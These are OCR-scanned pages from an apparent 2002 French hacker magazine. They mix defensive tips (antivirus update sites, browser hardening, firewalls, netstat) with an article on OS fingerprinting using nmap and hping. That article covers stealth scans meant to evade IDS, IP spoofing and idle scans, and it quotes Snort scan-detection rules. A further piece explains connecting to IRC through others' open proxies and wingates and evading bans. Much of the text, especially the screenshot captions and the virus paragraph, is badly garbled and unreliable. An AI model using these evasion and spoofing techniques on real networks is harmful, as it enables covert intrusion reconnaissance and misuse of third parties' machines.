Voici Ia liste des adresses des sites pour mettre 4 jour la plupart des
antivirus du marché :

Editeur
Network Associates Inc

Nom de Pantivirus
Virus Scan MCAffee

Site Internet

hitp:/download.mcafee.com/
updates/updates.asp (enanglais)

Norton antivirus *Symantec hitp://www.symantec.com/avcen-
ter/download.html (en anglais )

PC-Cillin Trend http://www.trendmicro.fr/cgi-

bin/dpattern

InoculatelT Computer Associates http://my-etrust.com/products/
subscriptions/AntiVirus (en
anglais)

Panda antivirus Panda Software hitp://www.pandasoftware.com/fr

F-Secure Data Fellows http:/www.f-secure.com/down-
load-purchase/updates.shtml (en
anglais)

Esafe alladin http://www.ealaddin.com/esafe/

downloads/virusig.asp?cf=t (en
anglais)

Outils antiviraux :

- Pour ceux qui voudraient unantivirus gratuit, le logiciel antivirus eSafe
Desktop est disponible gratuitement sur le site de I’éditeur Alladin
a I"adresse hitp://www.ealaddin.com/checkemail/default.asp?link-
t0=129 (en anglais).

- Outils divers d’éradication de virus spécifiques : http://www.syman-
tec.com/avcenter/tools.list.html

bwmmmmmmmmsmdmmtp
cetre les virus : i
i les petits virus artisanaiix (comms par exemple moi petit virus
assembleur du manuel n°3), ¢'es! assez difficile vu qu'ils ne sont
& reconnus par les grands antivirus (Pas assez répandus et
jertants pour eux : avant d"ajouter un virus  leur base de don-
i3, il Taut que le virus soit assez important pour qu'il ait pu F'étu-
12). L8 sexlmayes de 'en protiger est e suivre les consigres halitielles
s difficiles a suivre) de ne jamals exécuter de programme dont
Elulne ne soit connue et siire (et encore ! 11), de surveiller trés
livement les scripls et les macros présents sur I'ordinateup
< *.ybs. ... ) (18 gy étant d'interdirg carrément leur exéeition)
3si e supprimer tout courrier contenant des fichiers attachés
Forigine vous est incornue.
les virus plus importants, il est nécessaire de toujours res-
P les regles ci-dessus et en plus o'avoir un logiciel Antivirus
-Mchtfee, Norton, Panda, Tren PC-Citlin, F-Secure, . .. ) dont
e 4 jour 2 6té faite il y a moins d'un ou trois meis selon les
expositions de Ferdinateur (tous les 3 mois si vous n'afler
Inés rarement sur [nternst et ne télécharger pratiquement
tie programme, ou tous les mois [voire toutes les semaines
£tes lout le contrairg .).

J
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OPTIMISEZ VOS
MODEMS

COMXBUFFER

Une petite astuce de Windows
qui permet d'optimiser Uaccés a
votre modem.

Il vous faudra ouvrir le fichier "System.ini" (c:\Win-

dows\system.ini).

Dans la section 386Enh, rajoutez la ligne :

ComBuffer = 1024

Commest grotéger le ples efficacemest possible s aavigateer 7

Pour Internet Explorer :

Ouvrir le menu Outils et cliquez sur Options Intemet...

28 oboul hello - Miciosolt Intemnet Exploser

| Ecier Edion  fifichage r@.!éua 2
L =% ‘g !;uumd.Nm » __ﬂ .

.| Précederte i Angter  2mchromssr. Lher  Favons * Histonque
; : Wedows pdafe = _ :
| Agresse 2] sbouthelo

3 MSN Wessenger Service

Aficher les fens sppaenics
hello ,

RIS

Puis cliquez sur l'onglet Sécurité de la nouvelle fenétre, et sur l'icéne
internet (la Terre), puis sur Personnaliser le niveau...

ST

TSR R AT TR o B
- Corbern: | Cormers | Prosgomis | Avancon S e > =
-EHlS Ln e e conten e o pecter se poranetes | VAN St
w Tadberibe s N ﬂ -] s
[ ’ ) > g!0 Connesion sulcmafioue avec le nom dutfisaiew et k- ]
N frianetiocal  Sieyde confisce  She @ " e haias bk
Ty, O Demerer e rom dulissiew etls mat dopasee

O Outritusts do saswom anormsoe
Contles ActveX el phogns
) Coribles ActeX recommus lrt poss Tecitae de scopls

L3, faites dérouler le menu rétablir et sélectionner Elevé puis cliquez
sur le bouton Rétablir puis OK et OK.

x correspond au numéro de port de votre modem.
Vous pouvez vous procurer e numéro de port
dans le "Gestionnaire de périphérique” sous |'on-
glet "Modems".

DsSalEMR
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Pour Netscape Navigator:

Ouvrir le menu Edition et cliquez sur Préférences...
S ] =
Aliches Rachacree Abmd Sorets Thones Aide

) 5o [

oaceans Supes o WadProne AW . St

e 2w sshghind

Gagtian duy e Zaimy

., Lompheationwous permat ¢
Maintenant o " E# rompil autematiquement toutes s
plusisurs comptes de massagsrie il | harmaics npentantes en un s
sloctromique deputs un seul endrat che

Momsageite Ingrée Rncheche posante
La messagerie mslantange Q\ Accs facils on ua tic & des
immédiat 4 vos amis en ligne rechorchas

intdgrée vous donne acchs résultats intégrés de vos

Puis cliquez a gauche sur 'onglet Avancé et décochez les cases :
Activer java ; Activer javascript dans igator ; Activer j ipt
pour les courriers et les forums.

o Bcher Edicn aficher Rechches Al s ety Liche: gvie

‘cten it o u sk B ¢ it ot pages

et de
ent toutas: les
| dntes en un sal

res
ic @ des

oo fumonnent st W1

11 ne vous reste plus qu'a cliquer sur OK et Netscape est maintenant
protége !

Pour éviter d’étre contaminé par un virus exploitant I’une des (nom-
breuses) failles des navigateurs Internet (cf. Micr|blop|t ), il vaut
mieux désactiver les langages de scripts exécutés par les clients
Internet (Les navigateurs) comme le java ou le java script, etc.... Par
exemple le virus happy time peut, si le navigateur est mal configuré,
infecter votre ordinateur a partir de la simple consultation d’une
page web |

U firewail

Un autre outils indispensable a installer si vous surfez et téléchargez
beaucoup : Un firewall. Qu’est-ce que ¢’est ? Littéralement un "mur
de feu", un firewall est un programme chargé de surveiller tout ce
qui passe entre le réscau et votre ordinateur. Pour vous protéger des
chevaux de Troie par exemple, il n’autorise que les programmes que
vous spécifiez & accéder a Internet. 11 scan tous les paquets émis et
requs surle réseau et en cas de tentative daccés illégal d votre ordinateur,
il vous prévient et vous donne la source de cette tentative (IP Port
...) Apres, il est trés facile d’effectuer un Whois, ou un trace route
pour retrouver I’auteur de cette intrusion. Attention, ne vous excitez
pas trop vite au premier message de tentative d’intrusion de votre
firewall ! Trés souvent, ce sont de simple ping de serveurs pour
savoir si vous étes toujours en ligne ou une relique d’une connexion
a un site. Bien entendu, un firewall n’est utile que s'il est bien confi-
guré et la configuration d’un firewall n’est pas le sujet de cet article
(a prendrait trop de place). Personnellement, je vous conseille 1"uti-
lisation du Firewall Zone Alarm dans sa derniére version (c¢’est celui
quej’utilise :) qui doit étre disponible sur le site : www.telecharger.com.
Son utilisation est gratuite si personnelle, mais elle est payante pour
une société, par I’Etat et pour les établissements scolaires.
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Scan en-figne

M¢éme mis ajour Ic égulierement, unordinateur peutétre infecté parun virus trop récent pour votre
derniére mise 4 jour de I’antivirus ou bien parce que le virus a tout simplement déconnecté
votre antivirus et I’a rendu inefficace (Et oui c’est possible !). Et 14, il existe parfois une
solution pour repérer si son ordinateur est infecté :

C’est I’antivirus en ligne ! C’est super et c’est gratuit !

Les deux meilleurs que j’ai trouvé sont les scanners en ligne de 1’Editeur Trend PC-CILLIN
et de Panda Antivirus :

Les adresses Internet pour y accéder sont :

Trend PC-CILLIN : http://housecall.antivirus.com

Etpour Panda : http://www.pandasoftware.com/activescan/activescan.asp ?language=6&Coun-
try=69&Partner=1

Mon préféré pour la détection des virus est Trend. Une fois sur le sit,e la base de connais-
sances des virus va se charger sur votre ordinateur. Pas d’ mquietude aucun de vos fichiers
ne sontenvoyés vers leur serveur, etaucune trace de votre passage n’est gardée sur leurs fichiers
de logs a part le nom des virus trouvés sur votre ordinateur pour leurs statistiques ! Vos
fichiers sont seulement comparés (sur votre ordinateur) avec le fichier de signature virale
qui sera téléchargé automathuement La, I'arborescence de vos disques durs sera affichée et
vousn’aurez plus qu’a choisir les disques ou fichiers a scanner. Sivous voulez qu’en cas de détec-
tion, le scanner nettoic automatiquement dans la mesure du possible votre ordinateur du ou
des virus trouvés, cochez la case autoclean. Il ne vous reste plus qu’a cliquer sur scan pour
lancer le scanner. Et 12 tout le reste ce fait automatiquement (regarder si ¢a vous fait plaisir
ou faites autre chose en attendant).

Si tout ce passe bien et que des virus sont détectés, ¢a devrait ressembler a ceci !

Vaks sur Virue Rnavilndge Doz wiits Bocsatah seans youe compitee
l \Mmomma term "Trojan’ horse come from?

Fos enterprisz-wide vorus profecton, vl g gecs aomi com

y (e11995-2001 Trend Micro e Trend HouseCall v5 50.0
L g ‘N Engne:5.600-1011 Pattern 163

LT |

" Precidentp '7_ ’ o Ak Deéman
© Adessa fig) Wi henoceh e convismasoalioodpeaes

Faboa wue Vesad neiihedian Gk sl thir b oll shune paue dvniadter
1. Where did the term "Trejan” horse come from?
a) Altanslof ot gl :

3 {_C¥Prog
Total Scemned . 11955 infocted tles 245

el b

Engine:§ 500-1011 Pattern 163

Dans ce deuxiéme cas, je vous conseille alors d’aller faire un tour sur une base de connais-
sance de virus pour vous renseigner sur ce virus,

BASE DE CONNAISSANCE EXEMPLE :

Faite un tour sur :

TREND : http://www.antivirus.com/vinfo/ (en anglais)

Ou sur le site : http://aspirine.altasecu.com/

Une fois que vous en connaissez un peu plus sur ce virus et si vous n’avez toujours pas réus-
si & I’éradiquer, vous pouvez aller faire un tour sur le site d’outils gratuit de Symantec :
http:/www.symantec.com/aveenter/tools.list. html

: o g

e
Andler.

Preckderte <. i  Aciusiser Demartage | Rachercher  Favoss Fdion
Aymem Nt ot symerdeccon/avcentes ook sthtnl = pox
= Expanded tools 1T =l
products Viruses have become mcressmgly complex and vlrus mfa:(mns involve more syslem elements than
purchase ever bafore. e Ri has d tools to conduet what would
often @mount to extensive and tedious manual removal tasks. If your system has become infected,
service & suppadt the tools listed below should aid you in repairing the damage

securty response

downloads thiwat tesl
about symantec W32.Nimda. E@mm Removal Togl
ch
i Wa2.Nimda. A Resnavat Tond
faadbaea
CodeRed Rempval Tol
@ 19952001 Symantee | W2 Sircam. Wormn@mm amovat Tool
Corporatien 1
ALIEE e VBS Haptime Byl Tol
Bivai Pelier ;
| WaS, HyhrisF Resuesl Tool
|
! Wa2 Kiiz Remaal Tool
| W32 Nevidad Remaral {0l

Bon, voila a peu pres tout sur le scan en ligne.

11 est bon de vérifier de temps en temps manucllement que I’on n'ait pas un cheval de Troyes
sur son PC. Une petite astuce est la commande netstat du DOS. Elle permet ]’ afflchage de
tous les ports et les connexions ouvertes en cours sur votre PC. Pour ¢a, ouvrez urfgTenétre " Com-
mandes MS-DOS " puis 13, tapez : nefstat et 1a, s’affichera toutes les connexions en cours.
Pour voir aussi tous les ports ouverts tapez nefstat -a.

mmandes WS-

11 existe une connexion par programme connectée a Internet ou par fenétre d’Internet Explo-
rer. Internet explorer utilise un port différent pour chaque connexion & chaque site !

Et enfin une derniére astuce :

Siun jour vous vous retrouvez avec Windows qui ne veut pas démarrer avec des messages
du genre "Le fichier de périphérique Windaube.dll (factice ! 1) est introuvable mais est spé-
cifié dans le fichier system ini. Pabsence de ce fichier risque d’entrainer des dysfonctionne-
ments de Windows...", vous pouvez remettre ce fichier en démarrant 1’ ordinateur avec le
CD de Windows 98 et en choisissant |’ option "Démarrer a partir du CD" et 1a "Mode MS-
DOS avec prise encharge du lecteur de CD-ROM", vous vous retrouvez devantun "interpréteur"
de MS-DOS et la rentrez les commandes :

-a:\>d: (ou D est votre lecteur de CD-ROM)

-d:\>cd win98  (validez)

-d:\win98>extract base4.cab *le nom du fichier manquant* /a /e /l ¥La ot il doit étre copié*
Les parametres de extract sont :

/a pour all : ¢’est-a-dire regarder dans toutes les archives

/e pour extract : extraire ’archive

/L + chemin d’accés pour spécifier la destination du fichier extrait

Vous pouvez juste taper : extract base4.cab /d pour voir le contenu d’une archives ! Etthop
c’est réparé.

FatisCK / FoliaCH@caramil.com / www acker-zone st
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05 FINGERPRINT OVERVIEW METHODE

PRISE D'EMPREINTE A LA MULDER

Comment connaitre a distance |
et tromper les hackers en leur d

onnan

types de scan effectuer pour y arriver ?

Les RFC (Request For Comment : les
documents officiels définissant le fonc-
tionnement interne d'un protocole) précisent
commentunsystéme d'exploitation (OS) doit
répondre aux paquets qui lui sontenvoyés via
le net par le protocole TCP (pour ceux que
¢a intéresse, la RFC du TCP est la 793,
que vous trouverez a l'adresse http://abc-
drfe.free.fr/rfe-vf/rfc793.html. Attention,
c'est trés technique ;)).

Cependant, il y a de subtiles différences
de comportement des piles TCP/IP selon
la version de 1'0S de I'hdte distant qui
nous intéresse. En envoyant 4 une machine
despaquets particuliers (invalides, comportant
des flags inhabituels, etc..) et en analysant
sa réponse, on peut en déduire le type
d'OS qu'elle utilise.

Clest ce qu'agppelle la prise d'empreinte
d'OS ou "OS fingerprinting". En analysant
cequise passe avec le logiciel Nmap et autres,
nous en déduirons leur mode de fonction-
nement et leur OS.

PRE-REQUIS (basiques )

uip

Je ne vais pas expliquer tout le protocole
IP. Si ga vous intéresse, allez chopper la
RFC correspondante. Je vais juste vous
faire remarquer une chose : I'lP travaille
en mode datagramme, et la connexion
n'est donc pas maintenue 2 ce niveau. Cette
couche est juste amenée a diriger (router)
les datagrammes, sans regarder ni sa desti-
nation ni sonadresse source. Sil'onutilise un
faux datagramme IP, cela n'empéche pas
en général sa circulation... Pourquoi j'énon-
ce ga ? Juste en approche au spoofing évo-
qué plus bas )

|

Le TCP, protocole situé au-dessus d’IP, est
plus fiable, et dispose d'un certain nombre de
"sécurités". Je n'en détaillerais que 2 ici,
qui sont le séquencement des paquets ct
leuracquittement. Ces 2 mécanismes rendent
I'en-téte TCP beaucoup plus difficile a fal-
sifier que le datagramme IP.

M Séquencement et acquittement
Unnumero de séquence est inclus dans chaque
paquet TCP, ainsi que I'envoi automatique
d'un "accusé de réception”. Ces 2 caracté-
ristiques permettent de renvoyer un paquet
éventuellementperdu. Les numéros de séquen-
ce servent a pouvoir reformer le message
en assemblant les paquets dans le bon
ordre (tant qu'a faire).

Le numéro d'acquittement (I'accusé de récep-
tion) attend toujours le numéro de séquen-
ce de I'héte.

HACKERZ VOIGE/JANVIER 2002

H Etablissement de connexion TCP

Une connexion TCP s'effectue selon le
classique "three way handshake" (poignée de
main en 3 temps lol) qui se fait selon le
principe suivant :

1A--SYN-->B
2 A <--ACK/SYN--B
3A--ACK-->B

En 1, on demande une connexion. On
envoie pour cela son numéro de séquence
dans I'en-téte TCP. On utilise alors auto-
matiquement 1'ISN (initial sequence num-
ber), initialisé aléatoirement. Laréception du
paquet se fait, et le serveur répond avec
son bit SYN et ACK (en 2), en mettant
aussi son ISN dans |'en-téte et un numéro d'ac-
quittement (qui correspond a ISN+1 du
type voulant une connexion). Le deman-
deur accepte SN serveur (3). Dés lors, la
connexion est établie.

Voila. Ceci rappelle clairement (enfin j'es-
pere) certains des mécanismes évoqués dans
cet article. Passons maintenant pleinement
dans le vif du sujet.

1) Prise d'empreinte de pile et modification de
cette pile (stack)

Bon, je pense que pour la majorité d'entre
vous (tous ? ;) ), I'intérét pour un hacker
de savoir sur quel OS il travaille est évi-
dent. Bon, pour ceux qui ne voient pas,
réfléchissez un brin). Toutes les failles, ou
presque, dépendent de I'OS, directement
ouindirectement. Dés que I'attaquant connait
votre OS, c'est un jeu d'enfant d'exploiter
les différentes failles propres 4 ce systéme
d'exploitation, comme les DoS (denial of ser-
vice), et autres exploits...

Sous Linux, les outils les plus connus
gérant|'OS fingerprinting (larecherche d'un
OS par empreinte dans la pile pour ceux
qui se seraient endormis) sont Nmap, et
Queso. Nmapest dispo sur www.insecure.org,

et Queso sur http.//www.apostols.org/pro-
jectz/queso. 1ls sont différents en compor-

tement et abordent le probléme chacun
sous un angle différent mais arrivent aux
mémes résultats.

Sous Windows (ah ah) le principe est fon-
damentalement différentetj'y reviendrai plus
tard.

Donc, nouspartirons avec comme simple idée
en téte que les réactions des OS en répon-
se & un scan sont typiques du type d’OS.

Exemple bien con : Unix vs Win

Unix a une pile IP standard, assez confor-
me aux RFC, contrairement 4 la pile de
Window$, qui est largement modifiée, et qui
existe sous plusieurs versions... Le résultat

sauteaux yeux : la pile unix est faite pour que
la prise d'info soit trés restreinte, au contrai-
redelapile win, véritablemine d'or 1! L'avan-
tage (arfl! un petit quand méme, si c'en est
un d'ailleurs) c'est que les scans de type
FIN, XMAS ouNULL (qui renvoient des flag
RST)sontinefficaces surdes piles windows,
qui ne renvoient pas de RST...

/*technique d'os fingerprint*/

A partir de 13 etal'aide de ce préambule, vous
aurezcompris que I'OS fingerprinting se fai-
sait & partir de la pile qui varie en fonction
des OS. Maintenant, il faut connaitre quels
sont les types de scan qui sont utilisés
pour ladétection de I'0S. Pour cela une seule
référence:
http//www.insecure.org/nmap/nmap-fin-
gerprinting-article.txt. (e texte esten anglais
mais il a ét¢ traduit par Aruman, donc...
On le trouve un peu partout méme si je
n'ai plus I'adresse. On en tire les infos sui-
vantes :

_ FIN probe : ne marchera pas sur les sys-
temes Windows car les RST ne sont pas
envoyés .

_ bogus flag probe : balise TCP non défi-
nie placée dans un en-téte TCP de SYN pac-
kets.

_TCP ISN sampling : 14 aussi, en fonc-
tiondelapile, on vatrouver dansla séquen-
ceinitiale lors d'une demande de connexion
un modéle propre a un OS.

_"Don't fragment bit" : on recherche ici
ce bit pour différencier les OS

_TCP initial window : dans certaines
piles, cette taille est unique.

_ Valeur ACK : ISN différent pour le champ
ACK

_ ICMP error message quenching : cer-
tains OS limitent le nombre de msg
ICMP envoyés. On va encore pouvoir
différencier sur ce point.

_ ICMP message quoting : sur les retours des
msg ICMP, la quantité d'information est
différente selon 1'0S.

Ce ne sont pas les seuls, mais ce n'est pas
ladocsurle stack fingerprinting qui manque. ..
Je mets juste les plus intéressants pour
comprendre le principe. La liste des signa-
tures qu'utilisent Nmap est contenue dans
le fichier "Nmap-os-fingerprints" et peut
donc s'agrandir.

/*modification de 'empreinte de pile*/
Pour se défendre de cette technique barba-
re ;) et apprendre un peu ce qu'est "la sécu-
rité par l'obscurité” (ou l'art de dissimuler
sa machine) on va voir ce qu'il est possible
de faire. Il existe une foultitude de logi-
ciels modifiant la pile de votre OS, per-
meftant ainsi de le camoufler, en se faisant
passer pour un autre.

e systeme d'exploitation d'un ordinateur
t de fausses informations ? Quels

Par exemple Cthulhu du Pkcrew
(www.pkcrew.org) aainsi développéun LKM
(Linux Kernel Module, petit programme rési-
dant en mémoire sous linux) permettant
d'adopter n'importe quel comportement de
pile lors d'un scan sur votre machine fin-
gerprint fucker. Mais pour moi, le plus
intéressant reste IPpersonality. En effet,
ce petit LKM ne se contente pas de faire
passer votre OS pourun autre, il répond aussi
aux paquets IP par des paquets IP anor-
maux, différents du type 4 (le classique )
111 Ces paquets anormaux, d'habitude uti-
lisés pour contourner certains IDS (Syste-
me de détection d'intrusion, le nom est
explicite), peuvent méme planter la machi-
ne en face. Mais ils servent surtout & déter-
miner I'OS du demeuré en face, quin'a
pas compris que vous étiez un boss (lol),
etqu'il estluiméme pris au pi¢ge, chaque OS
ayant sa propre fagon de réagir aux paquets
anormaux.

1l posséde encore qlq options intéressantes
comme lamodification des IDIP etdes options
TCP..

/*détermination d'environnementavec Hping*/
Il est de méme possible de contrer un
admin tentant de modifier ses stacks (ouah,
on va pas s'en sorfir 13 !). Pour cela on uti-
lise HPING et onanalyse les incrémentations
ID de l'output Hping surlacible donnée. Sous
ce terme barbare est caché en fait une idée
trés simple, qui est de dire que chaque paquet
envoyé est incrémenté numériquement. Mais
chaque OS a sa fagon d'incrémenter. 1] est
alors possible de dire surquel environnement
travaille la cible.

i hping
- -8 -p 23 www.ricard.com

ethi defauii routing interface selected (according 1o /proc)
HPING www.ricard.com (eth 192.168.0.1) § set, 40
headers + 0 data hytes

46 hytes from 192.168.0.1 flags=RA seq=0 =84
id=15885 win=0 rtt=0.7 ms

46 bytes from 192.188.0.1 flags=RA seq=1 =64
i=+81720 win=0 rit=0.7 ms

46 bytes from 192.168.0.1 flags=RA seq=2 tti=64
[i=+38338 win=0 rtt=0.7 ms

46 bytes from 192.168.0.1 flags=RA seq=3 ti=64
il=+8830 win=0 rti=0.7 ms

46 bytes from 192.168.0.1 flags=RA seq=4 til=64
i=+20405 win=0 rti=0.7 ms

, 0% packet loss
round-trip min/avy/max = 0.7/0.7/0.7 ms

On va utiliser ici les options -r pour esti-
mer le trafic de I'héte, -s pour envoyer un
paquet SYN et -p qui est le port de desti-
nation, ici le classique port 23. Classique-
ment, un Windows (snif ;) auraitrépondu par
un multiple de 256. Ce qui n'est pas le
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cas ! Ainsi, dans le cas d'un Windows,
notre output Hping aurait été :

# Bping -» -8 -p
www.ricard.com

eth0 default routing interface selected (according lo
Iproc)

HPING www.cilile.com (et 192.168.0.1) § set, 40 fiea-
iers + 8 data bytes

46 byles from 192.168.0.1 flags=RA seq=D til=64
[i=15985 win=0 rtt=0.7 ms

46 hytes from 182.168.0.1 flags=RA seq=1 tll=64
it=+256 win=0 rit=0.7 ms

46 bytes from 192.168.0.1 flags=RA seq=2 =64
il=+2%6 win=0 rit=0.7 ms

On peaufinera donc cet output en ajoutant
l'option -W (cf man winid use win* id
byte ordering ) afin de constater l'activité
de'héte en détail. Sursysteme Unix, lesiden-
tifications IP sont effectivement calculées
d'une maniére totalement aléatoire. Toute-
fois, cette technique ne doit pas étre consi-
dérée comme une finensoipourla découverte
d'un OS, mais plutst comme un indice.

2) Les scans anonymes

/*quelques scans relativement anonymes*/
(11 va de soi que l'on spooffe son adresse a
chaque fois lol)

Il existe des options assez sympa avec
Nmap qui vont permettre de détourner
I'attention des IDS (enfin de certains... Ils
sont tous différents...). En effet, la possibi-
lité de réaliser des halfscan avec Nmap aper-
mis de faire pendant un temps relativement
important (arf...) des scans dit furtifs,
c'est-a-dire sans réaliser une connexion comme
Gaseserait passé avec unscan TCP classique.
Bien siir, ce type de scan existe encore
mais les IDS y font plus attention... Ainsi
le célebre Snort est capable de le notifier. Par
défaut, Snort ne loggue pas cette tentative,
mais l'ajout d'une petite rules en soi méme
est d'une simplicité enfantine (traduction
de I'anglais "régle" : une rules sous un
firewall par exemple est un droit de passa-
geaccordé ounon pourtel outel service). On
trouve les rules pour ce type de scan dans
le fichier scan.rules (logique... ;)

alert {cp SEXTERNAL_NET any -> SHOME_NET any
(msy"SCAN SYN FINflagsSF;

referencearachnides,198;)

alert tcp SEXTERNAL _NET any -> SHOME_NET any
msg"SCAN nmap fingerprint

attempt”;flagsSFPU; referencearachinides,05;)

alert 1cp SEXTERNAL_NET any -> SHOME_NET any
(msg"SGAN NULL";flansD;

seq0; ackD; referencearachnides,4;)

alert tcp SEXTERNAL_NET any -> SHOME_NET any
(msg"SCAN NMAS";flagsSRAFPU;

referencearachnides, 144;)

Les principaux stealth scan sont

- Xmas scanning (option -sX )

- NULL Scanning ( -sN )

- Fin Scanning ( -sF )

-SYNFIn (-sS)

Cesontlesscans de type "semi-ouverts". Leur
grande ligne de conduite est qu'un port ferme
renvoie un flag RST. C'est une grande
ligne, la véritable action dépend du type
de scan, j'y reviendrais peut-étre un jour.

Mais le probléme, c'est que plus on ajoute
de rules a son IDS plus il devient bruyant.
Et oui... personne n'est parfait.

/*anonymat parfait*/

Pour pouvoir réaliser un véritable scan
anonyme, il faut utiliser une tierce partie,
et se servir de I'IP SPoofing qui est d'une
utilité évidente lors d'untel type de scan. L'ID-
LE Host Scan permet une chose fantas-
tique : lors de la prise de possession d'une
machine en local, il exécute une analyse
del'incrémentation des 1P ID au travers d'une
tierce partie (un troisiéme ordinateur sur Inter-
net), et détermine, en sachant que ces
incrémentations varient considérablement
d'une pile & I'autre, les ports en activité.
Mais 1a, un manuel n'y suffirait pas...
Etudiez la doc de Nmap !

Nous verrons ¢aplustard si ca vous intéresse,
faites-moi signe.

S (= <Cryptoverfiow>}=-_) "
N oubliez pas! Fire & Forget 1)

Tchatche

IP A MA MERCI

COMMENT SE CONNECTER ANONYMEMENT SUR IRC

Etre anonyme sur IRC ?

Vous le pouvez, en vous connectant avec un proxy ou un wingate.

Pour la connexion par proxy, le plus dif-
ficile sera de trouver une adresse de proxy
valide.

Pour cela, il existe de multiples maniéres
pour en trouver :

- Logiciel de scanner proxy.

- Moteur de recherche en ligne.

- Sitemettanten ligne des adresses de proxy.

Il vous faudra lancer une recherche sur
le port 8080 et tester le proxy en essayant
de vous connecter sur le serveur.

mIRC Options [ %] I

|- Mouse
#%-DCC

* Display
¥ General

¥ Use Firewall
Local Info
- Identd Protopgl - ,
' ik ‘ " Socksd € SocksE @ Prowy |
@®IRC BE ST e e L e
B Sounds

Hostname; W
UseriD: m
Pasmor& i............____._
Port; ﬁ_ﬂgﬁ—

¥ Initiate DCCs thiough firewall

[5] oo | |

Pour cela :

- Lancez mIRC

- Allez dans File/option ou faites Alt+O

- Dans la fenétre de mIRC Options, choi-
sissez Gonnect/Firewall dans |'encart
Category.

- Dans les options du Firewall, cochez la
case Use Firewall, et dans Protocol, choi-
sissez Proxy.

- Dans Hostname/UserlD, mettez I'adres-
se du Proxy

- Ne mettez rien dans Password !

- Comme port, mettez 8080.

- Ensuite, allez dans la catégorie Local Info.

- Dans les options de Local Info :

- Mettez dans Local Host 'adresse du Proxy,
dans IP Address ne mettez rien.

- Dans On connect, always get, déco-
chez toutes les cases.

- Pour Lookup method, choisissez uni-
quement Server.

e 230

miRC Dptions E3

:_1

miRC wifl try to fill in these values by
itself, so leave them emply for now.

Local Host: lAdtesse du Proxy

1P Addiess: ’ }

- On mm,w gat s ‘M’_.
™ LocalHost I~ 1P Address |

- Lookup methed: -
" Nomal % Server

Essayez de vous connecter surIRC, voyez
si cela marche !

Si vous rencontrez des problémes pour
vous connecter, essayez une autre adres-
se de proxy.

Une fois réussi, votre IP sera cachée par
l'adresse du proxy.

Pour la méthode concernant la connexion
parunWingate, le probléme reste le méme
pour le proxy, il vous faudra une adresse
valide.

Pour cela, procurez vous "Wingate Scan-
ner" (disponible sur http://www.New-
sHackers.com) :)

Comme son nom l'indique, Wingate
Scanner va scanner une plage d'IP afin
de trouver une connexion possible sur le
port 23.

Unefoistrouvé, il vous suffira d'ouvrirmIRC
et de taper dans le statut :

Iserver in_tu_wingate 23

Lacommande/serverpermetde se connec-
ter & un serveur IRC.

Le 23 est le port du Wingate.

Dans notre exemple, on ne va pas se
connecter aun serveur IRC mais bel etbien
au Wingate.

Une fois la connexion réussie, il vous
faudra vous connecter sur le serveur
IRC en tapant :

[0 e el

Iraw Adresse_serveur port

Exemple : /raw wanadoo.entrechat.net 6667
Ensuite, il faudra enchainer en vous
identifiant.

Eneffet, lors d'une connexion "normale” sur
un serveur IRC, mIRC va s'identifier
automatiquement auprés du serveur.
Vous devez taper :

Ieaw nick Pseudo
Exemple : /raw nick TesT
/raw user user 0 0 :Vrai_nom

Exemple : /raw user NewsHackers 0 0 :New-
sHackers

Vous voila connecté sur le serveur IRC,
vous pouvez maintenant utiliser miRC.
Lors d'un ban de I''Dent(User), il vous
suffira de taper :

Iraw user Hackers 0 0 :NewsHackers
afin d'étre dé-banni. :) :
A tout moment, vous pouvez &tre décon-

necté du serveur. Une connexion avec une
Wingate n'est pas fiable a 100%.

OsSaubuR
Wiebmaster de NewsHackens. com
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[ Infaillible,

Fozzy dtholiours laverts

GHERGHE BIEN, A Tous LES coups Tu

LA METHODE HZV POUR DEBUSQUER LES TROUS DE SECURITE DANS LES

.2 mois dernier, dans un
ommuniqué du laboratoire
le recherche en sécurité
nformatigue de la Hacka-
lemy, j'annongais que la
juasi-totalité des services
le cowrrier électronique par
¢ weh (wehmails) étaient
lulnérables a des attagues
imples et souvent

nnues. Dans ce communi-
ue (5], ainsi que dans Uar-
icle du Manuel 4 sur les
gilles de Yahoo, et dans
ine intervention publique

r une des grandes mai-
ng-lists de sécurité sur
ternet (vuln-dev), je
nseillais aux dévelop-
urs de services et appli-

tions webmails de me

corriger leurs trous de
curité, avant la diffusion
cet article, pour ne pas
nner d'armes faciles aux
ipt-kiddies.

VOICE/JANVIER 2002

Malgré la couverture médiatique qu’a eue
cette annonce, en particulier sur Internet,
jen’ai absolument eu AUCUN retour.
Ceci signifie que les développeurs de ces ser-
vices, qui manipulent pourtant des don-
nées privées et confidentielles, n’assurent
pasune veille technologique efficace concer-
nant lasécurité pour I’ utilisateur des services
qu’ils proposent. Mais cela, on le savait
déja : de nombreux services webmails
francais et européens sont vulnérables &
des attaques connues depuis des mois
voire des années, et accessibles publiquement
sur Internet (je ne citerai pas de noms,
mais j’ai testé plusieurs webmails connus,
et ils ont tous de gros trous de sécurité).

Les webmails, dans I’état actuel des choses,
ne sont pas des services sécurisés. Cer-
tains le précisent bien sur leur site, mais la
majorité laissent planer le doute ou méme
prétendent contre toute évidence qu’ils
s’efforcent d’assurer une sécurité maxima-
le. En conséquence, il ne faut pas les utili-
ser pour stocker des données importantes

(risque de perte ou de corruption), ni pour

des informations confidenticlles (risque d’es-

pionnage).

Sans faire de paranoia inutile, il est pos-

sible d’étre relativement tranquille en suivant

ces quelques conseils:

- désactivez 1’ Active Scripting (javascript) si
celan’est pasnécessaire pour naviguer dans
votre webmail.

- désactivez le chargement automatique
des images.

-ne cliquez jamais sur un lien ou une
FORM contenus dans un message, méme
s’ils sonta destination d’unsite de confian-
ce (comme le site du webmail).

je lance un appel a tous les lecteurs de

Hackerz Voice
ndique fes faill

Mais attention:
fausses alertes, soyez
trou de sécurité...

May the force be with you !

vous si vous signalez un

courriers ¢lectroniques regus. Ces données
peuvent contenir du code hostile, qui est inter-
prété par le navigateur.

Ce code pourrait profiter d'un bug du navi-
gateur pour implanter un virus ou un che-
val de Troie dans l'ordinateur. Il pourrait aussi
induire enerreur l'utilisateur (affichage d'une
page simulant le vrai site mais située sur
un autre serveur, etc.) pour le forcer 4
transmettre des informations, comme sonmot
de passe, & une tierce partie (I'ordinateur
d'un pirate). Il peut aussi tirer profit du fait
qu'ilestcontenu dans la page web dusite visi-
té pour demander au navigateur de lui
transmettre des informations confidentielles.
En effet, le navigateur n'a aucun moyen de
savoir que cette partie du code de 1a page visi-
téen'est pas "légitime" : il lui faitdonc confian-
ce, et autorise par exemple la lecture des
"cookies" correspondantau site visité. Le code
hostile peut alors envoyer ces informations
sur le site du pirate...

La consultation par le web (protocole http
auquel manque le concept de session) implique
l'usage d'une méthode d'authentification
